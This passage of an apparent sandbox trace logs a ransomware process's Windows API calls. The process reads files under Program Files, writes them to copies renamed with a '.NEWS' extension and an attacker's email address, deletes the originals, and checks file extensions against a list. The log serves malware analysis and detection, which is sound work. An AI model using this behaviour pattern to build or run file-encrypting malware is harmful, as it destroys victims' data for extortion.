dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0193.569] GetLastError () returned 0x0 [0193.569] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x5898, lpOverlapped=0x0) returned 1 [0193.586] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0x58a0, lpOverlapped=0x0) returned 1 [0193.588] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.588] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0193.588] SetEndOfFile (hFile=0x340) returned 1 [0193.593] CloseHandle (hObject=0x340) returned 1 [0193.593] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.593] SetEndOfFile (hFile=0x33c) returned 1 [0193.594] CloseHandle (hObject=0x33c) returned 1 [0193.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0193.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.595] lstrlenW (lpString=".doc") returned 4 [0193.595] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0193.595] lstrlenW (lpString=".docx") returned 5 [0193.595] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0193.596] lstrlenW (lpString=".pdf") returned 4 [0193.596] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0193.596] lstrlenW (lpString=".xls") returned 4 [0193.596] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0193.596] lstrlenW (lpString=".xlsx") returned 5 [0193.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0193.596] lstrlenW (lpString=".ppt") returned 4 [0193.596] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0193.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.596] lstrlenW (lpString=".zip") returned 4 [0193.596] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0193.596] lstrlenW (lpString=".rar") returned 4 [0193.596] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0193.596] lstrlenW (lpString=".bz2") returned 4 [0193.596] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0193.596] lstrlenW (lpString=".7z") returned 3 [0193.596] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0193.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.596] lstrlenW (lpString=".dbf") returned 4 [0193.596] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0193.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.596] lstrlenW (lpString=".1cd") returned 4 [0193.597] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString=".jpg") returned 4 [0193.597] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString=".doc") returned 4 [0193.597] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString=".docx") returned 5 [0193.597] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0193.597] lstrlenW (lpString=".pdf") returned 4 [0193.597] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString=".xls") returned 4 [0193.597] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0193.597] lstrlenW (lpString=".xlsx") returned 5 [0193.597] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0193.597] lstrlenW (lpString=".ppt") returned 4 [0193.597] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString=".zip") returned 4 [0193.597] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0193.597] lstrlenW (lpString=".rar") returned 4 [0193.597] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString=".bz2") returned 4 [0193.597] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString=".7z") returned 3 [0193.597] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString=".dbf") returned 4 [0193.597] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.597] lstrlenW (lpString=".1cd") returned 4 [0193.597] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0193.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0193.598] lstrlenW (lpString=".jpg") returned 4 [0193.598] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0193.598] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0193.598] lstrlenW (lpString="mxslipstream.exe") returned 16 [0193.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.598] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=78336) returned 1 [0193.598] CloseHandle (hObject=0x33c) returned 1 [0193.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe")) returned 0x20 [0193.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\mxslipstream.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.599] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.599] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\mxslipstream.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0193.599] GetLastError () returned 0x0 [0193.599] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.239] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0x13210, lpOverlapped=0x0) returned 1 [0194.243] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.243] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0194.244] SetEndOfFile (hFile=0x340) returned 1 [0194.244] CloseHandle (hObject=0x340) returned 1 [0194.244] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.244] SetEndOfFile (hFile=0x33c) returned 1 [0194.245] CloseHandle (hObject=0x33c) returned 1 [0194.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.245] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe")) returned 1 [0194.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.246] lstrlenW (lpString=".doc") returned 4 [0194.246] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.246] lstrlenW (lpString=".docx") returned 5 [0194.246] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0194.246] lstrlenW (lpString=".pdf") returned 4 [0194.246] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.246] lstrlenW (lpString=".xls") returned 4 [0194.246] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.246] lstrlenW (lpString=".xlsx") returned 5 [0194.247] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0194.247] lstrlenW (lpString=".ppt") returned 4 [0194.247] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString=".zip") returned 4 [0194.247] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString=".rar") returned 4 [0194.247] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString=".bz2") returned 4 [0194.247] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.247] lstrlenW (lpString=".7z") returned 3 [0194.247] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString=".dbf") returned 4 [0194.247] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString=".1cd") returned 4 [0194.247] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString=".jpg") returned 4 [0194.247] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.247] lstrlenW (lpString=".doc") returned 4 [0194.247] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.247] lstrlenW (lpString=".docx") returned 5 [0194.247] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0194.247] lstrlenW (lpString=".pdf") returned 4 [0194.247] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString=".xls") returned 4 [0194.247] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString=".xlsx") returned 5 [0194.247] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0194.247] lstrlenW (lpString=".ppt") returned 4 [0194.247] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.248] lstrlenW (lpString=".zip") returned 4 [0194.248] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.248] lstrlenW (lpString=".rar") returned 4 [0194.248] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.248] lstrlenW (lpString=".bz2") returned 4 [0194.248] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.248] lstrlenW (lpString=".7z") returned 3 [0194.248] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.248] lstrlenW (lpString=".dbf") returned 4 [0194.248] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.248] lstrlenW (lpString=".1cd") returned 4 [0194.248] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0194.248] lstrlenW (lpString=".jpg") returned 4 [0194.248] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.248] lstrcmpiW (lpString1=".ins", lpString2=".NEWS") returned -1 [0194.248] lstrlenW (lpString="install.ins") returned 11 [0194.248] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0194.248] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=452) returned 1 [0194.249] CloseHandle (hObject=0x33c) returned 1 [0194.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0194.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.249] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0194.249] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.249] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.249] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0194.249] GetLastError () returned 0x0 [0194.250] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x1c4, lpOverlapped=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0x1d0, lpOverlapped=0x0) returned 1 [0194.274] ReadFile (in: hFile=0x33c, lpBuffer=0x3d3f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.274] WriteFile (in: hFile=0x340, lpBuffer=0x3d3f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3f020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0194.282] SetEndOfFile (hFile=0x340) returned 1 [0194.283] CloseHandle (hObject=0x340) returned 1 [0194.283] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.283] SetEndOfFile (hFile=0x33c) returned 1 [0194.284] CloseHandle (hObject=0x33c) returned 1 [0194.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.284] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0194.285] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.285] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.285] lstrlenW (lpString=".doc") returned 4 [0194.285] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0194.286] lstrlenW (lpString=".docx") returned 5 [0194.286] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0194.286] lstrlenW (lpString=".pdf") returned 4 [0194.286] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0194.286] lstrlenW (lpString=".xls") returned 4 [0194.286] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0194.286] lstrlenW (lpString=".xlsx") returned 5 [0194.286] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0194.286] lstrlenW (lpString=".ppt") returned 4 [0194.286] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0194.286] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.286] lstrlenW (lpString=".zip") returned 4 [0194.286] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0194.286] lstrlenW (lpString=".rar") returned 4 [0194.286] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0194.286] lstrlenW (lpString=".bz2") returned 4 [0194.286] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0194.286] lstrlenW (lpString=".7z") returned 3 [0194.286] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0194.286] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.286] lstrlenW (lpString=".dbf") returned 4 [0194.286] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0194.286] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.286] lstrlenW (lpString=".1cd") returned 4 [0194.286] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0194.286] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.286] lstrlenW (lpString=".jpg") returned 4 [0194.286] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.287] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.287] lstrlenW (lpString=".doc") returned 4 [0194.287] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0194.287] lstrlenW (lpString=".docx") returned 5 [0194.287] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0194.287] lstrlenW (lpString=".pdf") returned 4 [0194.287] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString=".xls") returned 4 [0194.287] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString=".xlsx") returned 5 [0194.287] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0194.287] lstrlenW (lpString=".ppt") returned 4 [0194.287] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.287] lstrlenW (lpString=".zip") returned 4 [0194.287] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString=".rar") returned 4 [0194.287] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0194.287] lstrlenW (lpString=".bz2") returned 4 [0194.287] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0194.287] lstrlenW (lpString=".7z") returned 3 [0194.287] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0194.287] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.287] lstrlenW (lpString=".dbf") returned 4 [0194.287] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0194.287] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.287] lstrlenW (lpString=".1cd") returned 4 [0194.288] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0194.288] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0194.288] lstrlenW (lpString=".jpg") returned 4 [0194.288] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0194.288] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.288] lstrlenW (lpString="sqmapi.dll") returned 10 [0194.288] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0194.289] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=49688) returned 1 [0194.290] CloseHandle (hObject=0x33c) returned 1 [0194.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0194.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.290] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.290] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.290] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.290] lstrlenW (lpString=".doc") returned 4 [0194.290] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.290] lstrlenW (lpString=".docx") returned 5 [0194.290] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.290] lstrlenW (lpString=".pdf") returned 4 [0194.290] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.290] lstrlenW (lpString=".xls") returned 4 [0194.290] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.290] lstrlenW (lpString=".xlsx") returned 5 [0194.290] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0194.290] lstrlenW (lpString=".ppt") returned 4 [0194.290] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.290] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.290] lstrlenW (lpString=".zip") returned 4 [0194.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString=".rar") returned 4 [0194.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString=".bz2") returned 4 [0194.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.291] lstrlenW (lpString=".7z") returned 3 [0194.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.291] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.291] lstrlenW (lpString=".dbf") returned 4 [0194.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.291] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.291] lstrlenW (lpString=".1cd") returned 4 [0194.291] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.291] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.291] lstrlenW (lpString=".jpg") returned 4 [0194.291] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.291] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0194.291] lstrlenW (lpString=".doc") returned 4 [0194.291] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.291] lstrlenW (lpString=".docx") returned 5 [0194.291] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0194.291] lstrlenW (lpString=".pdf") returned 4 [0194.291] lstrcmpiW (lpString1=".pdf", 